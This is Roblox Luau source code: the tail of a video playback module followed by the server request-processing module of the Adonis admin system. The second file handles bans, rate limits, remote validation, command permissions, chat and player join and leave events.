if currentTime >= timeVideoFinishes then
self:_attemptOnEnd()
return
end
schemaProcessor.Maid:add(self, "SeekFlag")
self.Video = self:_constructVideo(self.VideoId)
if not self.Video.IsLoaded then
print("Loading video")
repeat
self.task.wait()
until self.IsCancelled or self.Video.IsLoaded
end
if not self.IsCancelled then
print("Video loaded")
end
if self.SyncToAudio then
while
(self.SyncToAudio.Audio and not self.SyncToAudio.Audio.IsDestroyed and not self.IsCancelled)
and (
self.SyncToAudio.Audio
and (
self.SyncToAudio.Audio.Sound == nil
or (self.SyncToAudio.Audio.Sound and self:getCurrentSoundTimePosition() < startTime)
)
)
do
self.task.wait()
end
end
local timePositionOffset = schemaProcessor.timePosition.Value - startTime
self.Video.TimePosition = timePositionOffset
local videoOnEndConnection = self.Video.Ended:Connect(function()
self:_attemptOnEnd()
end)
if self.captionButtonConnection then
schemaProcessor.Maid:add(self.captionButtonConnection)
end
self.Video:Play()
if self.Captions then
SafeSpawn.new(function()
self.CaptionsModule:Run()
schemaProcessor.Maid:add(self.CaptionsModule, "Clean")
end)
end
local intensityRatioCalculatorConnection = RunService.Heartbeat:Connect(function()
self.CurrentSoundIntensityRatio = self:_calculateCurrentSoundIntensityRatio(self.Video)
end)
schemaProcessor.Maid:add(videoOnEndConnection)
schemaProcessor.Maid:add(intensityRatioCalculatorConnection)
schemaProcessor.Maid:add(self.Video)
schemaProcessor.Maid:add(self.CCButton)
schemaProcessor.Maid:add(self.SurfaceGui)
if not self.IsCancelled then
self:_attemptOnStart()
end
end
function Video:SeekFlag()
self.IsCancelled = true
end
return Video
|
--// Processing |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Commands, Decrypt, Encrypt, AddLog, TrackTask, Pcall
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Defaults
local logError = env.logError
local Routine = env.Routine
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Defaults = server.Defaults;
logError = logError or env.logError;
Routine = Routine or env.Routine;
Commands = Remote.Commands
Decrypt = Remote.Decrypt
Encrypt = Remote.Encrypt
AddLog = Logs.AddLog
TrackTask = service.TrackTask
Pcall = server.Pcall
--// NetworkServer Events
if service.NetworkServer then
service.RbxEvent(service.NetworkServer.ChildAdded, server.Process.NetworkAdded)
service.RbxEvent(service.NetworkServer.DescendantRemoving, server.Process.NetworkRemoved)
end
--// Necessary checks to prevent first time users from bypassing bans.
service.Events.DataStoreAdd_Banned:Connect(function(data: table|string)
local userId = if type(data) == "string" then tonumber(string.match(data, ":(%d+)$"))
elseif type(data) == "table" then data.UserId
else nil
local plr = userId and service.Players:GetPlayerByUserId(userId)
if plr then
local reason = if type(data) == "table" and data.Reason then data.Reason
else "No reason provided"
pcall(plr.Kick, plr, string.format("%s | Reason: %s", Variables.BanMessage, reason))
AddLog("Script", {
Text = "Applied ban on "..plr.Name;
Desc = "Ban reason: "..reason;
})
end
end)
service.Events["DataStoreAdd_Core.Variables.TimeBans"]:Connect(function(data)
local userId = if type(data) == "string" then tonumber(string.match(data, ":(%d+)$"))
elseif type(data) == "table" then data.UserId
else nil
local plr = userId and service.Players:GetPlayerByUserId(userId)
if plr then
local reason = if type(data) == "table" and data.Reason then data.Reason
else "No reason provided"
pcall(
plr.Kick,
plr,
string.format(
"\n Reason: %s\n Banned until %s",
(reason or "(No reason provided."),
service.FormatTime(data.EndTime, { WithWrittenDate = true })
)
)
AddLog("Script", {
Text = "Applied TimeBan on ".. plr.Name;
Desc = "Ban reason: ".. reason;
})
end
end)
Process.Init = nil
AddLog("Script", "Processing Module Initialized")
end;
local function RunAfterPlugins(data)
local existingPlayers = service.Players:GetPlayers()
--// Events
service.RbxEvent(service.Players.PlayerAdded, service.EventTask("PlayerAdded", Process.PlayerAdded))
service.RbxEvent(service.Players.PlayerRemoving, service.EventTask("PlayerRemoving", Process.PlayerRemoving))
--// Load client onto existing players
if existingPlayers then
for i, p in existingPlayers do
Core.LoadExistingPlayer(p)
end
end
service.TrackTask("Thread: ChatCharacterLimit", function()
local ChatModules = service.Chat:WaitForChild("ClientChatModules", 5)
if ChatModules then
local ChatSettings = ChatModules:WaitForChild("ChatSettings", 5)
if ChatSettings then
local success, ChatSettingsModule = pcall(function()
return require(ChatSettings)
end)
if success then
local NewChatLimit = ChatSettingsModule.MaximumMessageLength
if NewChatLimit and type(NewChatLimit) == "number" then
Process.MaxChatCharacterLimit = NewChatLimit
AddLog("Script", "Chat Character Limit automatically set to " .. NewChatLimit)
end
else
AddLog("Script", "Failed to automatically get ChatSettings Character Limit, ignore if you use a custom chat system")
end
end
end
end)
Process.RunAfterPlugins = nil
AddLog("Script", "Process Module RunAfterPlugins Finished")
end
local function newRateLimit(rateLimit: table, rateKey: string|number|userdata|any)
-- Ratelimit: table
-- Ratekey: string or number
local rateData = (type(rateLimit)=="table" and rateLimit) or nil
if not rateData then
error("Rate data doesn't exist (unable to check)")
else
-- RATELIMIT TABLE
--[[
Table:
{
Rates = 100; -- Max requests per traffic
Reset = 1; -- Interval seconds since the cache last updated to reset
ThrottleEnabled = false/true; -- Whether throttle can be enabled
ThrottleReset = 10; -- Interval seconds since the cache last throttled to reset
ThrottleMax = 10; -- Max interval count of throttles
Caches = {}; -- DO NOT ADD THIS. IT WILL AUTOMATICALLY BE CREATED ONCE RATELIMIT TABLE IS CHECKING-
--... FOR RATE PASS AND THROTTLE CHECK.
}
]]
-- RATECACHE TABLE
--[[
Table:
{
Rate = 0;
Throttle = 0; -- Interval seconds since the cache last updated to reset
LastUpdated = 0; -- Last checked for rate limit
LastThrottled = nil or 0; -- Last checked for throttle (only changes if rate limit failed)
}
]]
local maxRate: number = math.abs(rateData.Rates) -- Max requests per traffic
local resetInterval: number = math.floor(math.abs(rateData.Reset or 1)) -- Interval seconds since the cache last updated to reset
local rateExceeded: boolean? = rateLimit.Exceeded or rateLimit.exceeded
local ratePassed: boolean? = rateLimit.Passed or rateLimit.passed
local canThrottle: boolean? = rateLimit.ThrottleEnabled
local throttleReset: number? = rateLimit.ThrottleReset
local throttleMax: number? = math.floor(math.abs(rateData.ThrottleMax or 1))
-- Ensure minimum requirement is followed
maxRate = (maxRate>1 and maxRate) or 1
-- Max rate must have at least one rate else anything below 1 returns false for all rate checks
local cacheLib = rateData.Caches
if not cacheLib then
cacheLib = {}
rateData.Caches = cacheLib
end
-- Check cache
local rateCache: table = cacheLib[rateKey]
local throttleCache
if not rateCache then
rateCache = {
Rate = 0;
Throttle = 0;
LastUpdated = tick();
LastThrottled = nil;
}
cacheLib[rateKey] = rateCache
end
local nowOs = tick()
if nowOs-rateCache.LastUpdated > resetInterval then
rateCache.LastUpdated = nowOs
rateCache.Rate = 0
end
local ratePass: boolean = rateCache.Rate+1<=maxRate
local didThrottle: boolean = canThrottle and rateCache.Throttle+1<=throttleMax
local throttleResetOs: number? = rateCache.ThrottleReset
local canResetThrottle: boolean = throttleResetOs and nowOs-throttleResetOs <= 0
rateCache.Rate += 1
-- Check can throttle and whether throttle could be reset
if canThrottle and canResetThrottle then
rateCache.Throttle = 0
end
-- If rate failed and can also throttle, count tick
if canThrottle and (not ratePass and didThrottle) then
rateCache.Throttle += 1
rateCache.LastThrottled = nowOs
-- Check whether cache time expired and replace it with a new one or set a new one
if not throttleResetOs or canResetThrottle then
rateCache.ThrottleReset = nowOs
end
elseif canThrottle and ratePass then
rateCache.Throttle = 0
end
if rateExceeded and not ratePass then
rateExceeded:fire(rateKey, rateCache.Rate, maxRate)
end
if ratePassed and ratePass then
ratePassed:fire(rateKey, rateCache.Rate, maxRate)
end
return ratePass, didThrottle, canThrottle, rateCache.Rate, maxRate, throttleResetOs
end
end
local RateLimiter = {
Remote = {
Rates = 120;
Reset = 60;
};
Command = {
Rates = 20;
Reset = 40;
};
Chat = {
Rates = 10;
Reset = 1;
};
CustomChat = {
Rates = 10;
Reset = 1;
};
RateLog = {
Rates = 10;
Reset = 2;
};
}
local unWrap = service.unWrap
local function RateLimit(p, typ)
local isPlayer = type(p)=="userdata" and p:IsA"Player"
if isPlayer then
local rateData = RateLimiter[typ]
assert(rateData, "No rate limit data available for the given type "..typ)
local ratePass, didThrottle, canThrottle, curRate, maxRate = newRateLimit(rateData, p.UserId)
return ratePass, didThrottle, canThrottle, curRate, maxRate
else
return true
end
end
server.Process = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
RateLimit = RateLimit;
newRateLimit = newRateLimit;
MsgStringLimit = 500; --// Max message string length to prevent long length chat spam server crashing (chat & command bar); Anything over will be truncated;
MaxChatCharacterLimit = 250; --// Roblox chat character limit; The actual limit of the Roblox chat's textbox is 200 characters; I'm paranoid so I added 50 characters; Users should not be able to send a message larger than that;
RateLimits = {
Remote = 0.01;
Command = 0.1;
Chat = 0.1;
CustomChat = 0.1;
RateLog = 10;
};
Remote = function(p, cliData, com, ...)
local key = tostring(p.UserId)
local keys = Remote.Clients[key]
if p and p:IsA("Player") then
if Anti.KickedPlayers[p] then
p:Kick(":: Adonis :: Communication following disconnect.")
elseif not com or type(com) ~= "string" or #com > 50 or cliData == "BadMemes" or com == "BadMemes" then
Anti.Detected(p, "Kick", (tostring(com) ~= "BadMemes" and tostring(com)) or tostring(select(1, ...)))
elseif cliData and type(cliData) ~= "table" then
Anti.Detected(p, "Kick", "Invalid Client Data (r10002)")
--elseif cliData and keys and cliData.Module ~= keys.Module then
-- Anti.Detected(p, "Kick", "Invalid Client Module (r10006)")
else
local args = {...}
local rateLimitCheck, didThrottleRL, canThrottleRL, curRemoteRate = RateLimit(p, "Remote")
if keys then
keys.LastUpdate = os.time()
keys.Received += 1
if type(com) == "string" then
if com == keys.Special.."GET_KEY" then
if keys.LoadingStatus == "WAITING_FOR_KEY" then
Remote.Fire(p, keys.Special.."GIVE_KEY", keys.Key)
keys.LoadingStatus = "LOADING"
keys.RemoteReady = true
AddLog("Script", string.format("%s requested client keys", p.Name))
--else
--Anti.Detected(p, "kick","Communication Key Error (r10003)")
end
AddLog("RemoteFires", {
Text = p.Name.." requested key from server",
Desc = "Player requested key from server",
Player = p;
})
elseif rateLimitCheck and string.len(com) <= Remote.MaxLen then
local comString = Decrypt(com, keys.Key, keys.Cache)
local command = (cliData.Mode == "Get" and Remote.Returnables[comString]) or Remote.Commands[comString]
AddLog("RemoteFires", {
Text = string.format("%s fired %s; Arg1: %s", tostring(p), comString, tostring(args[1]));
Desc = string.format("Player fired remote command %s; %s", comString, Functions.ArgsToString(args));
Player = p;
})
if command then
local rets = {TrackTask("Remote: ".. p.Name ..": ".. tostring(comString), command, p, args)}
if not rets[1] then
logError(p, tostring(comString) .. ": ".. tostring(rets[2]))
else
return {unpack(rets, 2)}
end
else
Anti.Detected(p, "Kick", "Invalid Remote Data (r10004)")
end
elseif rateLimitCheck and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("Firing RemoteEvent too quickly (>Rate: %s/sec)", curRemoteRate));
warn(string.format("%s is firing Adonis's RemoteEvent too quickly (>Rate: %s/sec)", p.Name, curRemoteRate));
end
else
Anti.Detected(p, "Log", "Out of Sync (r10005)")
end
end
end
end
end;
Command = function(p, msg, opts, noYield)
opts = opts or {}
--[[if Admin.IsBlacklisted(p) then
return false
end]]
if #msg > Process.MsgStringLimit and type(p) == "userdata" and p:IsA("Player") and not Admin.CheckAdmin(p) then
msg = string.sub(msg, 1, Process.MsgStringLimit)
end
msg = Functions.Trim(msg)
if string.match(msg, Settings.BatchKey) then
for cmd in string.gmatch(msg,'[^'..Settings.BatchKey..']+') do
cmd = Functions.Trim(cmd)
local waiter = Settings.PlayerPrefix.."wait"
if string.sub(string.lower(cmd), 1, #waiter) == waiter then
local num = tonumber(string.sub(cmd, #waiter + 1))
if num then
wait(tonumber(num))
end
else
Process.Command(p, cmd, opts, false)
end
end
else
local pData = opts.PlayerData or (p and Core.GetPlayer(p))
msg = (pData and Admin.AliasFormat(pData.Aliases, msg)) or msg
if string.match(msg, Settings.BatchKey) then
return Process.Command(p, msg, opts, false)
end
local index, command, matched = Admin.GetCommand(msg)
if not command then
if opts.Check then
Remote.MakeGui(p, "Output", {
Title = "Output";
Message = if Settings.SilentCommandDenials
then string.format("'%s' is either not a valid command, or you do not have permission to run it.", msg)
else string.format("'%s' is not a valid command.", msg);
})
end
return
end
local allowed, denialMessage = false, nil
local isSystem = false
local pDat = {
Player = opts.Player or p;
Level = opts.AdminLevel or Admin.GetLevel(p);
isDonor = opts.IsDonor or (Admin.CheckDonor(p) and (Settings.DonorCommands or command.AllowDonors));
}
if opts.isSystem or p == "SYSTEM" then
isSystem = true
allowed = not command.Disabled
p = p or "SYSTEM"
else
allowed, denialMessage = Admin.CheckPermission(pDat, command, false, opts)
end
if not allowed then
if not (isSystem or opts.NoOutput) and (denialMessage or not Settings.SilentCommandDenials or opts.Check) then
Remote.MakeGui(p, "Output", {
Message = denialMessage or (if Settings.SilentCommandDenials
then string.format("'%s' is either not a valid command, or you do not have permission to run it.", msg)
else string.format("You do not have permission to run '%s'.", msg));
})
end
return
end
local cmdArgs = command.Args or command.Arguments
local argString = string.match(msg, "^.-"..Settings.SplitKey.."(.+)") or ""
local args = (opts.Args or opts.Arguments) or (#cmdArgs > 0 and Functions.Split(argString, Settings.SplitKey, #cmdArgs)) or {}
local taskName = string.format("Command :: %s : (%s)", p.Name, msg)
if #args > 0 and not isSystem and command.Filter or opts.Filter then
for i, arg in args do
local cmdArg = cmdArgs[i]
if cmdArg then
if Admin.IsLax(cmdArg) == false then
args[i] = service.LaxFilter(arg, p)
end
else
args[i] = service.LaxFilter(arg, p)
end
end
end
if opts.CrossServer or (not isSystem and not opts.DontLog) then
AddLog("Commands", {
Text = ((opts.CrossServer and "[CRS_SERVER] ") or "") .. p.Name;
Desc = matched .. Settings.SplitKey .. table.concat(args, Settings.SplitKey);
Player = p;
})
if Settings.ConfirmCommands then
Functions.Hint("Executed Command: [ "..msg.." ]", {p})
end
end
if noYield then
taskName = "Thread: " .. taskName
end
Admin.UpdateCooldown(pDat, command)
local ran, cmdError = TrackTask(taskName, command.Function, p, args, {
PlayerData = pDat,
Options = opts
})
if not opts.IgnoreErrors then
if type(cmdError) == "string" then
AddLog("Errors", "["..matched.."] "..cmdError)
cmdError = cmdError:match("%d: (.+)$") or cmdError
if not isSystem then
Remote.MakeGui(p, "Output", {
Message = cmdError,
})
end
elseif cmdError ~= nil and cmdError ~= true and not isSystem then
Remote.MakeGui(p, "Output", {
Message = "There was an error but the error was not a string? : "..tostring(cmdError);
})
end
end
service.Events.CommandRan:Fire(p, {
Message = msg,
Matched = matched,
Args = args,
Command = command,
Index = index,
Success = ran,
Error = if type(cmdError) == "string" then cmdError else nil,
Options = opts,
PlayerData = pDat
})
end
end;
CrossServerChat = function(data)
if data then
for _, v in service.GetPlayers() do
if Admin.GetLevel(v) > 0 then
Remote.Send(v, "handler", "ChatHandler", data.Player, data.Message, "Cross")
end
end
end
end;
CustomChat = function(p, a, b, canCross)
local didPassRate, didThrottle, canThrottle, curRate, maxRate = RateLimit(p, "CustomChat")
if didPassRate and not Admin.IsMuted(p) then
if type(a) == "string" then
a = string.sub(a, 1, Process.MsgStringLimit)
end
if b == "Cross" then
if canCross and Admin.CheckAdmin(p) then
Core.CrossServer("ServerChat", {Player = p.Name, Message = a})
--Core.SetData("CrossServerChat",{Player = p.Name, Message = a})
end
else
local target = Settings.SpecialPrefix..'all'
if not b then
b = 'Global'
end
if not service.Players:FindFirstChild(p.Name) then
b='Nil'
end
if string.sub(a,1,1)=='@' then
b='Private'
target,a=string.match(a,'@(.%S+) (.+)')
Remote.Send(p,'Function','SendToChat',p,a,b)
elseif string.sub(a,1,1)=='#' then
if string.sub(a,1,7)=='#ignore' then
target=string.sub(a,9)
b='Ignore'
end
if string.sub(a,1,9)=='#unignore' then
target=string.sub(a,11)
b='UnIgnore'
end
end
for _, v in service.GetPlayers(p, target, {
DontError = true;
})
do
local a = service.Filter(a, p, v)
if p.Name == v.Name and b ~= "Private" and b ~= "Ignore" and b ~= "UnIgnore" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Global" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Team" and p.TeamColor == v.TeamColor then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Local" and p:DistanceFromCharacter(v.Character.Head.Position) < 80 then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Admins" and Admin.CheckAdmin(p) then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Private" and v.Name ~= p.Name then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Nil" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
--[[elseif b == 'Ignore' and v.Name ~= p.Name then
Remote.Send(v,'AddToTable','IgnoreList',v.Name)
elseif b == 'UnIgnore' and v.Name ~= p.Name then
Remote.Send(v,'RemoveFromTable','IgnoreList',v.Name)--]]
end
end
end
service.Events.CustomChat:Fire(p,a,b)
elseif not didPassRate and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("CustomChatting too quickly (>Rate: %s/sec)", curRate))
warn(string.format("%s is CustomChatting too quickly (>Rate: %s/sec)", p.Name, curRate))
end
end;
Chat = function(p, msg)
local didPassRate, didThrottle, canThrottle, curRate, maxRate = RateLimit(p, "Chat")
if didPassRate then
local isMuted = Admin.IsMuted(p);
if utf8.len(utf8.nfcnormalize(msg)) > Process.MaxChatCharacterLimit and not Admin.CheckAdmin(p) then
Anti.Detected(p, "Kick", "Chatted message over the maximum character limit")
elseif not isMuted then
local msg = string.sub(msg, 1, Process.MsgStringLimit)
local filtered = service.LaxFilter(msg, p)
AddLog(Logs.Chats, {
Text = p.Name..": " .. tostring(filtered);
Desc = tostring(filtered);
Player = p;
})
if Settings.ChatCommands then
if Admin.DoHideChatCmd(p, msg) then
Remote.Send(p,"Function","ChatMessage","> "..msg,Color3.new(1, 1, 1))
Process.Command(p, msg, {Chat = true;})
elseif string.sub(msg, 1, 3) == "/e " then
service.Events.PlayerChatted:Fire(p, msg)
msg = string.sub(msg, 4)
Process.Command(p, msg, {Chat = true;})
elseif string.sub(msg, 1, 8) == "/system " then
service.Events.PlayerChatted:Fire(p, msg)
msg = string.sub(msg, 9)
Process.Command(p, msg, {Chat = true;})
else
service.Events.PlayerChatted:Fire(p, msg)
Process.Command(p, msg, {Chat = true;})
end
else
service.Events.PlayerChatted:Fire(p, msg)
end
elseif isMuted then
local msg = string.sub(msg, 1, Process.MsgStringLimit);
local filtered = service.LaxFilter(msg, p)
AddLog(Logs.Chats, {
Text = "[MUTED] ".. p.Name ..": "..tostring(filtered);
Desc = tostring(filtered);
Player = p;
})
end
elseif not didPassRate and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("Chatting too quickly (>Rate: %s/sec)", curRate))
warn(string.format("%s is chatting too quickly (>Rate: %s/sec)", p.Name, curRate))
end
end;
--[==[
WorkspaceChildAdded = function(c)
--[[if c:IsA("Model") then
local p = service.Players:GetPlayerFromCharacter(c)
if p then
service.TrackTask(p.Name..": CharacterAdded", Process.CharacterAdded, p)
end
end
-- Moved to PlayerAdded handler
--]]
end;
LogService = function(Message, Type)
--service.Events.Output:Fire(Message, Type)
end;
ErrorMessage = function(Message, Trace, Script)
--[[if Running then
service.Events.ErrorMessage:Fire(Message, Trace, Script)
if Message:lower():find("adonis") or Message:find(script.Name) then
logError(Message)
end
end--]]
end;
]==]
PlayerAdded = function(p)
AddLog("Script", "Doing PlayerAdded Event for ".. p.Name)
local key = tostring(p.UserId)
local keyData = {
Player = p;
Key = Functions.GetRandom();
Cache = {};
Sent = 0;
Received = 0;
LastUpdate = os.time();
FinishedLoading = false;
LoadingStatus = "WAITING_FOR_KEY";
--Special = Core.MockClientKeys and Core.MockClientKeys.Special;
--Module = Core.MockClientKeys and Core.MockClientKeys.Module;
}
Core.UpdatePlayerConnection(p)
Core.PlayerData[key] = nil
Remote.Clients[key] = keyData
local ran, err = Pcall(function()
Routine(function()
if Anti.UserSpoofCheck(p) then
Remote.Clients[key] = nil;
Anti.Detected(p, "kick", "Username Spoofing");
end
end)
local PlayerData = Core.GetPlayer(p)
local level = Admin.GetLevel(p)
local banned, reason = Admin.CheckBan(p)
if banned then
Remote.Clients[key] = nil;
p:Kick(string.format("%s | Reason: %s", Variables.BanMessage, (reason or "No reason provided")))
return "REMOVED"
end
if Variables.ServerLock and level < 1 then
Remote.Clients[key] = nil;
p:Kick(Variables.LockMessage or "::Adonis::\nServer Locked")
return "REMOVED"
end
if Variables.Whitelist.Enabled then
local listed = false
local CheckTable = Admin.CheckTable
for listName, list in Variables.Whitelist.Lists do
if CheckTable(p, list) then
listed = true
break;
end
end
if not listed and level == 0 then
Remote.Clients[key] = nil;
p:Kick(Variables.LockMessage or "::Adonis::\nWhitelist Enabled")
return "REMOVED"
end
end
end)
if not ran then
AddLog("Errors", p.Name .." PlayerAdded Failed: ".. tostring(err))
warn("~! :: Adonis :: SOMETHING FAILED DURING PLAYERADDED:")
warn(tostring(err))
end
if Remote.Clients[key] then
Core.HookClient(p)
AddLog("Script", {
Text = p.Name .. " loading started";
Desc = p.Name .. " successfully joined the server";
})
AddLog("Joins", {
Text = p.Name;
Desc = p.Name.." joined the server";
Player = p;
})
--// Get chats
p.Chatted:Connect(function(msg)
local ran, err = TrackTask(p.Name .. "Chatted", Process.Chat, p, msg)
if not ran then
logError(err);
end
end)
--// Character added
p.CharacterAdded:Connect(function(...)
local ran, err = TrackTask(p.Name .. "CharacterAdded", Process.CharacterAdded, p, ...)
if not ran then
logError(err);
end
end)
delay(600, function()
if p.Parent and Core.PlayerData[key] and Remote.Clients[key] and Remote.Clients[key] == keyData and keyData.LoadingStatus ~= "READY" then
AddLog("Script", {
Text = p.Name .. " Failed to Load",
Desc = tostring(keyData.LoadingStatus)..": Client failed to load in time (10 minutes?)",
Player = p;
});
--Anti.Detected(p, "kick", "Client failed to load in time (10 minutes?)");
end
end)
elseif ran and err ~= "REMOVED" then
Anti.RemovePlayer(p, "\n:: Adonis ::\nLoading Error [Missing player, keys, or removed]")
end
end;
PlayerRemoving = function(p)
local data = Core.GetPlayer(p)
local key = tostring(p.UserId)
service.Events.PlayerRemoving:Fire(p)
delay(1, function()
if not service.Players:GetPlayerByUserId(p.UserId) then
Core.PlayerData[key] = nil
end
end)
AddLog("Script", {
Text = string.format("Triggered PlayerRemoving for %s", p.Name);
Desc = "Player left the game (PlayerRemoving)";
Player = p;
})
AddLog("Leaves", {
Text = p.Name;
Desc = p.Name.." left the server";
Player = p;
})
Core.SavePlayerData(p, data)
Variables.TrackingTable[p.Name] = nil
for otherPlrName, trackTargets in Variables.TrackingTable do
if trackTargets[p] then
trackTargets[p] = nil
local otherPlr = service.Players:FindFirstChild(otherPlrName)
if otherPlr then
task.defer(Remote.RemoveLocal, otherPlr, p.Name.."Tracker")
end
end
end
if Commands.UnDisguise then
Commands.UnDisguise.Function(p, {"me"})
end
Variables.IncognitoPlayers[p] = nil
end;
FinishLoading = function(p)
local PlayerData = Core.GetPlayer(p)
local level = Admin.GetLevel(p)
local key = tostring(p.UserId)
--// Fire player added
service.Events.PlayerAdded:Fire(p)
AddLog("Script", {
Text = string.format("%s finished loading", p.Name);
Desc = "Client finished loading";
})
--// Run OnJoin commands
for i,v in Settings.OnJoin do
TrackTask("Thread: OnJoin_Cmd: ".. tostring(v), Admin.RunCommandAsPlayer, v, p)
AddLog("Script", {
Text = "OnJoin: Executed "..tostring(v);
Desc = "Executed OnJoin command; "..tostring(v)
})
end
--// Start keybind listener
Remote.Send(p, "Function", "KeyBindListener", PlayerData.Keybinds or {})
--// Load some playerdata stuff
if type(PlayerData.Client) == "table" then
if PlayerData.Client.CapesEnabled == true or PlayerData.Client.CapesEnabled == nil then
Remote.Send(p, "Function", "MoveCapes")
end
Remote.Send(p, "SetVariables", PlayerData.Client)
else
Remote.Send(p, "Function", "MoveCapes")
end
--// Load all particle effects that currently exist
Functions.LoadEffects(p)
--// Load admin or non-admin specific things
if level < 1 then
if Settings.AntiSpeed then
Remote.Send(p, "LaunchAnti", "Speed", {
Speed = tostring(60.5 + math.random(9e8)/9e8)
})
end
if Settings.Detection then
Remote.Send(p, "LaunchAnti", "MainDetection")
end
if Settings.AntiBuildingTools then
Remote.Send(p, "LaunchAnti", "AntiTools", {BTools = true})
end
end
--// Finish things up
if Remote.Clients[key] then
Remote.Clients[key].FinishedLoading = true
if p.Character and p.Character.Parent == workspace then
--service.Threads.TimeoutRunTask(p.Name..";CharacterAdded",Process.CharacterAdded,60,p)
local ran, err = TrackTask(p.Name .." CharacterAdded", Process.CharacterAdded, p, p.Character)
if not ran then
logError(err)
end
else
if Settings.Console and (not Settings.Console_AdminsOnly or level > 0) then
Remote.MakeGui(p, "Console")
end
if Settings.HelpButton then
Remote.MakeGui(p, "HelpButton")
end
end
if level > 0 then
local oldVer = (level > 300) and Core.GetData("VersionNumber")
local newVer = (level > 300) and tonumber(string.match(server.Changelog[1], "Version: (.*)"))
if Settings.Notification then
wait(2)
Remote.MakeGui(p, "Notification", {
Title = "Welcome.";
Message = "Click here for commands.";
Icon = server.MatIcons["Verified user"];
Time = 15;
OnClick = Core.Bytecode("client.Remote.Send('ProcessCommand','"..Settings.Prefix.."cmds')");
})
wait(1)
if oldVer and newVer and newVer > oldVer then
Remote.MakeGui(p, "Notification", {
Title = "Updated!";
Message = "Click to view the changelog.";
Icon = server.MatIcons.Description;
Time = 10;
OnClick = Core.Bytecode("client.Remote.Send('ProcessCommand','"..Settings.Prefix.."changelog')");
})
end
wait(1)
if level > 300 and Settings.DataStoreKey == Defaults.Settings.DataStoreKey then
Remote.MakeGui(p, "Notification", {
Title = "Warning!";
Message = "Using default datastore key!";
Icon = server.MatIcons.Description;
Time = 10;
OnClick = Core.Bytecode([[
local window = client.UI.Make("Window", {
Title = "How to change the DataStore key";
Size = {700,300};
Icon = "rbxassetid://7510994359";
})
window:Add("ImageLabel", {
Image = "rbxassetid://1059543904";
})
window:Ready()
]]);
})
end
end
if newVer then
Core.SetData("VersionNumber", newVer)
end
end
--// REF_1_ALBRT - 57s_Dxl - 100392_659;
--// COMP[[CHAR+OFFSET] < INT[0]]
--// EXEC[[BYTE[N]+BYTE[x]] + ABS[CHAR+OFFSET]]
--// ELSE[[BYTE[A]+BYTE[x]] + ABS[CHAR+OFFSET]]
--// VALU -> c_BYTE ; CAT[STR,x,c_BYTE] -> STR ; OUT[STR]]]
--// [-150x261x247x316x246x243x238x248x302x316x261x247x316x246x234x247x247x302]
--// END_ReF - 100392_659
for v: Player in Variables.IncognitoPlayers do
--// Check if the Player still exists before doing incognito to prevent LoadCode spam.
if v == p or v.Parent == service.Players then
continue
end
Remote.LoadCode(p, [[
local plr = service.Players:GetPlayerByUserId(]] .. v.UserId .. [[)
if plr then
if not table.find(service.IncognitoPlayers, plr) then
table.insert(service.IncognitoPlayers, plr)
end
plr:Remove()
end
]])
end
end
end;
CharacterAdded = function(p, char, ...)
local key = tostring(p.UserId)
local keyData = Remote.Clients[key]
if keyData then
keyData.PlayerLoaded = true
end
wait(1 / 60)
if char and keyData and keyData.FinishedLoading then
local level = Admin.GetLevel(p)
--// Wait for UI stuff to finish
wait(1)
if not p:FindFirstChildWhichIsA("PlayerGui") then
p:WaitForChild("PlayerGui", 9e9)
end
Remote.Get(p,"UIKeepAlive")
--//GUI loading
local MakeGui = Remote.MakeGui
local Refresh = Remote.RefreshGui
local RefreshGui = function(gui, ignore, ...)
Refresh(p, gui, ignore, ...)
end
if Variables.NotifMessage then
MakeGui(p, "Notif", {
Message = Variables.NotifMessage
})
end
if Settings.Console and (not Settings.Console_AdminsOnly or (Settings.Console_AdminsOnly and level > 0)) then
RefreshGui("Console")
end
if Settings.HelpButton then
MakeGui(p, "HelpButton")
end
if Settings.TopBarShift then
MakeGui(p, "TopBar")
end
--if Settings.CustomChat then
-- MakeGui(p, "Chat")
--end
--if Settings.PlayerList then
-- MakeGui(p, "PlayerList")
--end
if level < 1 then
if Settings.AntiNoclip then
Remote.Send(p, "LaunchAnti", "HumanoidState")
end
end
--// Check muted
--[=[for ind,admin in Settings.Muted do
if Admin.DoCheck(p, admin) then
Remote.LoadCode(p, [[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]])
end
end--]=]
task.spawn(Functions.Donor, p)
--// Fire added event
service.Events.CharacterAdded:Fire(p, char, ...)
--// Run OnSpawn commands
for _, v in Settings.OnSpawn do
TrackTask("Thread: OnSpawn_Cmd: ".. tostring(v), Admin.RunCommandAsPlayer, v, p)
AddLog("Script", {
Text = "OnSpawn: Executed "..tostring(v);
Desc = "Executed OnSpawn command; "..tostring(v);
})
end
if
server.Commands.Track
and char:WaitForChild("Head", 5)
and char:WaitForChild("HumanoidRootPart", 2)
then
for otherPlrName, trackTargets in Variables.TrackingTable do
if trackTargets[p] then
server.Commands.Track.Function(service.Players[otherPlrName], {"@"..p.Name, "true"})
end
end
end
end
end;
NetworkAdded = function(cli)
wait(0.25)
local p = cli:GetPlayer()
if p then
Core.Connections[cli] = p
AddLog("Script", {
Text = p.Name .. " connected";
Desc = p.Name .. " successfully established a connection with the server";
Player = p;
})
else
AddLog("Script", {
Text = "<UNKNOWN> connected";
Desc = "An unknown user successfully established a connection with the server";
})
end
service.Events.NetworkAdded:Fire(cli)
end;
NetworkRemoved = function(cli)
local p = cli:GetPlayer() or Core.Connections[cli]
